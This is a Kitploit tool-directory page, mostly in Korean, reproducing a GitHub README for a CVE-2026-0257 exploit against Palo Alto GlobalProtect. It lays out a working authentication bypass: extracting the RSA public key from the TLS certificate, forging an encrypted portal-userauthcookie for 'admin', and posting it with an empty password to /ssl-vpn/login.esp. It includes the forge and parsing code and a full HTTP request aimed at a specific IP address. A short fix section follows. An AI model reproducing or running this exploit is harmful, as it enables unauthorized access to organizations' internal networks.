Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-0257 — Palo Alto Networks PAN-OS는 GlobalProtect 포털과 게이트웨이의 결함으로 인한 인증 우회 취약점을 포함하고 있어, 공격자가 승인되지 않은 VPN 연결을 설정할 수 있습니다. 이 취약점을 악용하려면 포털 또는 게이트웨이에 대한 네트워크 접근이 필요합니다. | Kitploit
도구/GitHubGitHub/tushargurav28/cve-2026-0257
Vulnerability AnalysisExploitationWeb Application ExploitationNetwork SecurityCryptographyPenetration TestingAuthenticationRed Teaming
GitHubtushargurav28/cve-2026-0257

CVE-2026-0257

Palo Alto Networks PAN-OS는 GlobalProtect 포털과 게이트웨이의 결함으로 인한 인증 우회 취약점을 포함하고 있어, 공격자가 승인되지 않은 VPN 연결을 설정할 수 있습니다. 이 취약점을 악용하려면 포털 또는 게이트웨이에 대한 네트워크 접근이 필요합니다.

저장소 보기
333개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-0257: GlobalProtect 인증 우회

개요

이 익스플로잇은 서버의 공개적으로 접근 가능한 TLS 인증서만 사용하여 인증 쿠키를 위조함으로써 Palo Alto GlobalProtect 게이트웨이/포털에 비인증 VPN 접근을 달성합니다.


핵심 취약점 (작동 원리)

GlobalProtect는 클라이언트가 인증할 수 있도록 사전 인증 쿠키(portal-userauthcookie)를 사용합니다. 치명적인 결함은 다음과 같습니다:

root@kitploit:~
Normal Flow:
  1. Client authenticates (username + password)
  2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
  3. Client stores the encrypted cookie
  4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it

The Bug:
  The server ONLY checks if the cookie decrypts successfully with its private key.
  It does NOT verify WHO encrypted it or if the plaintext content is legitimate.

서버의 RSA 공개 키는 TLS 인증서에 내장되어 있어(연결하는 모든 사람이 공개적으로 접근 가능), 모든 공격자는 다음을 수행할 수 있습니다:

  1. TLS 인증서에서 공개 키를 확보
  2. 임의의 사용자 이름으로 쿠키를 위조
  3. 공개 키로 쿠키를 암호화
  4. 서버에 전송 → 서버가 복호화 → 유효한 것으로 수락

이것은 전형적인 끊어진 인증(broken authentication) 결함입니다 — 이나 이 필요했던 곳에 암호화를 사용한 것입니다.

디지털 서명
HMAC

익스플로잇 체인 (5단계)

root@kitploit:~
flowchart TD
    A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
    B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
    C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
    D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
    E --> F["Step 6: POST to /ssl-vpn/login.esp"]
    F --> G{"Server Decrypts Cookie"}
    G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
    G -->|"Invalid"| I[" Rejected"]

1단계: 원시 TLS ClientHello 구축

왜 원시(raw) 방식인가? 서버의 인증서를 DER(원시 바이너리) 형식으로 가져와야 하기 때문입니다. Python의 ssl 모듈은 내부적으로 전체 TLS 핸드셰이크를 완료하며 동일한 방식으로 원시 인증서 바이트를 노출하지 않습니다. 원시 TCP 연결을 수행하고 수작업으로 제작된 ClientHello를 전송함으로써 바이트 수준에서 서버의 응답을 가로챌 수 있습니다.

와이어 형식

TLS 레코드는 다음과 같습니다:

root@kitploit:~
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes)                      │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Type │ Version  │   Length   │                 │
│ │ 0x16 │ 0x03 01  │  2 bytes   │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Handshake Message                                │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Type │   Length   │      Body               │  │
│ │ 0x01 │  3 bytes   │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

코드: build_hello()

ClientHello 본문에는 다음이 포함됩니다:

필드값용도
Version0x03 0x03 (TLS 1.2)서버에 TLS 1.2를 사용한다고 알림
Random4바이트 타임스탬프 + 28바이트 난수핸드셰이크용 논스(nonce)
Session ID0x00 (비어 있음)세션 재개 없음
Cipher SuitesTLS_RSA_WITH_AES_128_CBC_SHA 포함 9개 스위트핵심: RSA 전용 암호화 스위트를 포함하여 서버가 RSA 인증서를 사용하도록 강제
Compression0x00 (없음)필수

포함된 확장:

확장ID용도
SNI (서버 이름 표시)0x0000연결하려는 호스트 이름을 서버에 알림
서명 알고리즘0x000D지원하는 서명 알고리즘을 광고
지원 그룹0x000A지원하는 EC 곡선 (P-256, P-384, P-521)
EC 포인트 형식0x000B비압축 EC 포인트

[!NOTE] 암호화 스위트에는 의도적으로 RSA 키 교환 암호화(0x002F = TLS_RSA_WITH_AES_128_CBC_SHA)가 포함되어 있습니다. 이는 서버가 ECDSA 인증서 대신 RSA 인증서로 응답하도록 유도합니다 — 익스플로잇이 RSA에서만 작동하므로 이는 매우 중요합니다.


2단계: 서버 응답 수신 및 파싱

ClientHello 전송 후, 서버는 여러 TLS 레코드를 다시 전송합니다:

root@kitploit:~
Server Response:
  ┌─────────────────┐
  │ ServerHello      │  (handshake type 2)
  ├─────────────────┤
  │ Certificate      │  (handshake type 11) ← WE WANT THIS
  ├─────────────────┤
  │ ServerKeyExchange│  (handshake type 12, optional)
  ├─────────────────┤
  │ ServerHelloDone  │  (handshake type 14) ← STOP SIGNAL
  └─────────────────┘

코드: parse_certs()

1단계 — TLS 레코드 헤더 제거:

각 TLS 레코드에는 5바이트 헤더가 있습니다: [type(1)] [version(2)] [length(2)]. 코드는 모든 레코드를 스캔하며, type == 22(Handshake)인 레코드의 페이로드를 연결합니다:

root@kitploit:~
while i + 5 <= len(data):
    t = data[i]                              # content type
    rl = (data[i + 3] << 8) | data[i + 4]   # record length
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # grab payload
    i += 5 + rl                              # next record

2단계 — Certificate 메시지(type 11) 찾기:

핸드셰이크 스트림 내부에서 각 메시지에는 4바이트 헤더가 있습니다: [type(1)] [length(3)]. type == 11을 스캔합니다:

root@kitploit:~
while j + 4 <= len(hs):
    ht = hs[j]                                           # handshake type
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # 3-byte length
    if ht == 11:  # Certificate!
        # Parse the certificate list inside

3단계 — 개별 DER 인증서 추출:

Certificate 메시지에는 각각 3바이트 길이 접두사가 붙은 인증서 목록이 포함됩니다:

root@kitploit:~
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes)      │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes)           │
│ Cert 1 DER data (variable)       │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes)           │
│ Cert 2 DER data (variable)       │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

테스트 실행에서는 3개의 인증서(리프 인증서, 중간 CA, 루트 CA)를 얻었습니다.

코드: has_done()

이 함수는 ServerHelloDone(핸드셰이크 타입 14)을 스캔하며, 이는 서버가 전송을 마쳤음을 알려주므로 읽기를 중단할 수 있습니다.


3단계: X.509 인증서 파싱 (ASN.1/DER)

X.509 인증서는 ASN.1(Abstract Syntax Notation One)을 기반으로 하는 바이너리 형식인 DER(Distinguished Encoding Rules)로 인코딩됩니다.

ASN.1 TLV (태그-길이-값) 형식

DER의 모든 요소는 다음과 같습니다:

root@kitploit:~
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload)   │
│ 1B  │ 1-5B  │ variable          │
└─────┴────────┴───────────────────┘

길이 인코딩:

  • 바이트가 0x80 미만: 길이는 해당 바이트 그대로 (단문 형식)
  • 바이트가 0x80 이상: 하위 7비트 = 길이를 인코딩하는 후속 바이트 수 (장문 형식)
root@kitploit:~
# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes

코드: rd_tl()

root@kitploit:~
def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # long form?
        nb = length & 0x7F              # how many bytes follow
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = start of value

X.509 인증서 구조

root@kitploit:~
Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (optional)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ WE WANT THIS ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (optional)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

코드: get_rsa_key()

이 함수는 태그+길이를 읽고 필요 없는 필드를 건너뛰며 DER 트리를 탐색합니다:

root@kitploit:~
# Enter outer SEQUENCE (Certificate)
r = rd_tl(der, 0)            # → SEQUENCE
# Enter tbsCertificate SEQUENCE
r = rd_tl(der, p)            # → SEQUENCE
# Check for optional version tag
r = rd_tl(der, p)
if r["tag"] == 0xA0:         # version field present → skip it
    p = r["pos"] + r["len"]
    r = rd_tl(der, p)

# Skip: serial → sigAlg → issuer → validity → subject
# (just read each TLV and jump past it)

# NOW we're at subjectPublicKeyInfo
# Read the AlgorithmIdentifier → check if OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
#          ↑ This is 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
    return None  # Not RSA (probably ECDSA)

# Read the BIT STRING → skip 1 byte (unused bits indicator)
# Read the inner SEQUENCE → extract modulus (n) and exponent (e)

중요한 세부 사항 — modulus의 선행 0바이트:

root@kitploit:~
if der[ms] == 0 and ml > 1:
    ms += 1    # strip leading 0x00
    ml -= 1

DER은 정수를 부호 있는 값으로 인코딩합니다. modulus의 최상위 비트가 1이면 양수로 유지하기 위해 0x00 바이트가 앞에 추가됩니다. 원시 부호 없는 값이 필요하므로 이를 제거합니다.

우리 대상의 경우: modulus = 2048비트(256바이트), exponent = 65537 (0x10001)


4단계: 인증 쿠키 위조 (PKCS#1 v1.5)

이것이 익스플로잇의 핵심입니다.

쿠키에 포함되는 내용

평문 쿠키 형식은 다음과 같습니다:

root@kitploit:~
admin;;Windows;;1748928001;0.0.0.0
  │        │        │        │
  │        │        │        └── Client IP
  │        │        └── Unix timestamp
  │        └── OS identifier
  └── Username (we choose "admin")

PKCS#1 v1.5 암호화 패딩 (Type 2)

RSA 암호화 전에 평문을 키 크기(2048비트 RSA의 경우 256바이트)로 패딩해야 합니다:

root@kitploit:~
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Random non-zero padding  │ 0x00 │ Plaintext message   │
│      │      │ (≥ 8 bytes)              │      │                     │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
  1B     1B      padLen bytes              1B      message bytes

Total = 256 bytes (= key size)

코드: forge()

root@kitploit:~
def forge(n, e, kl, username):
    ts = str(int(time.time()))
    pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")

    pad_len = kl - len(pt) - 3    # 3 = 0x00 + 0x02 + 0x00 separator
    if pad_len < 8:                # PKCS#1 requires ≥ 8 pad bytes
        return ""

    em = bytearray([0x00, 0x02])   # Type 2 padding header
    for _ in range(pad_len):
        em.append(random.randint(1, 255))  # non-zero random bytes!
    em.append(0x00)                # separator
    cat(em, pt)                    # append plaintext

    # RSA encryption: ciphertext = em^e mod n
    return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))

RSA 수학:

root@kitploit:~
ciphertext = plaintext^e mod n

Where:
  plaintext = the padded message as a big integer (256 bytes → ~2048 bits)
  e = 65537 (public exponent)
  n = the 2048-bit modulus from the certificate

[!IMPORTANT] 이것이 작동하는 이유는 RSA 암호화가 공개 키(n, e)를 사용하기 때문인데, 이는 TLS 인증서에서 누구나 얻을 수 있습니다. 서버는 자체 개인 키(n, d)로 이를 복호화하여 평문(admin;;Windows;;timestamp;0.0.0.0)을 얻습니다.

서버는 이 평문을 맹목적으로 신뢰합니다 — 쿠키가 자신에 의해 정당하게 발급되었는지 절대 검증하지 않습니다.


5단계: 위조된 쿠키를 로그인 엔드포인트로 전송

코드: test_cookie()

위조된 쿠키는 표준 HTTPS POST로 GlobalProtect 로그인 엔드포인트에 전송됩니다:

root@kitploit:~
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close

prot=https
&server=1.255.199.2
&user=admin
&passwd=                          ← empty! no password needed
&context=gateway                  ← or "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=

[!NOTE] passwd 필드는 비어 있습니다. 서버는 비밀번호를 전혀 확인하지 않으며 인증을 전적으로 portal-userauthcookie에 의존합니다.

익스플로잇은 두 엔드포인트를 테스트합니다:

  1. Gateway (context=gateway): 직접 VPN 터널 접근
  2. Portal (context=portal): 포털 구성 접근

성공 감지

root@kitploit:~
def is_gateway_success(resp, user):
    # Check for HTTP 200
    # Check for <status>Success</status> in XML body
    # OR <argument> tag containing the username

6단계: 서버 측에서 발생하는 일

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant GP as GlobalProtect Server

    A->>GP: TCP Connect (port 443)
    A->>GP: Raw TLS ClientHello (hand-crafted)
    GP->>A: ServerHello + Certificate (contains RSA public key)
    GP->>A: ServerHelloDone
    Note over A: Extracts RSA public key (n, e) from cert
    Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
    A->>GP: POST /ssl-vpn/login.esp (over TLS)
    Note over GP: Receives portal-userauthcookie
    Note over GP: Decrypts with RSA private key
    Note over GP: Gets "admin;;Windows;;ts;0.0.0.0"
    Note over GP: ⚠️ Trusts it blindly — no signature check!
    GP->>A: HTTP 200 OK + <status>Success</status>
    Note over A: 🎉 Full VPN access as "admin"

이것이 치명적인 버그인 이유

측면영향
자격 증명 불필요공개 키는 말 그대로 공개입니다 — 연결하는 모든 사람이 얻을 수 있습니다
무차별 대입 불필요시도당 단일 요청, 취약한 서버에서는 항상 성공
사전 인증(pre-authentication)로그인 전에 악용 가능 — 기존 세션 불필요
사용자 가장공격자가 임의의 사용자 이름 선택 가능 (admin, CEO 등)
전체 VPN 접근일단 인증되면 공격자는 내부 네트워크에 있게 됩니다
비밀번호 실패 로깅 없음인증이 쿠키를 통해 이루어지므로 실패한 비밀번호 알림이 발생하지 않습니다

수정 방법 (Palo Alto가 해야 할 일)

근본적인 문제는 인증에 암호화를 사용하는 것입니다. 올바른 접근 방식:

  1. 디지털 서명: 서버는 암호화된 쿠키를 복호화하는 대신 개인 키로 쿠키에 서명해야 합니다. 그런 다음 재인증 시 서명을 검증합니다.

  2. HMAC: 서버 측 비밀 키를 사용하여 쿠키 페이로드를 HMAC합니다. 비밀을 아는 것은 서버뿐이므로 쿠키를 위조할 수 없습니다.

  3. 토큰 바인딩(Token Binding): 쿠키를 원래 인증 세션에 바인딩하여 다른 컨텍스트에서 재생(replay)될 수 없도록 합니다.

root@kitploit:~
Broken:   cookie = RSA_encrypt(userdata, public_key)   ← anyone can do this!
Fixed:    cookie = HMAC(server_secret, userdata)        ← only server can do this

요약: 전체 데이터 흐름

root@kitploit:~
1. TCP connect to target:443
2. Send hand-crafted ClientHello (raw bytes over TCP, NOT TLS)
3. Receive ServerHello + Certificate + ServerHelloDone
4. Parse TLS records → extract handshake messages
5. Find Certificate message (type 11) → extract DER-encoded certs
6. Walk ASN.1/DER structure of leaf cert:
   SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
   → subjectPublicKeyInfo → algorithmIdentifier (check OID = RSA)
   → BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Build plaintext: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 pad: 0x00 0x02 [random≥8] 0x00 [plaintext]
9. RSA encrypt: ciphertext = padded^e mod n
10. Base64 encode → URL encode
11. POST to /ssl-vpn/login.esp with forged cookie (over proper TLS)
12. Server decrypts → trusts blindly → grants VPN access
도구 다운로드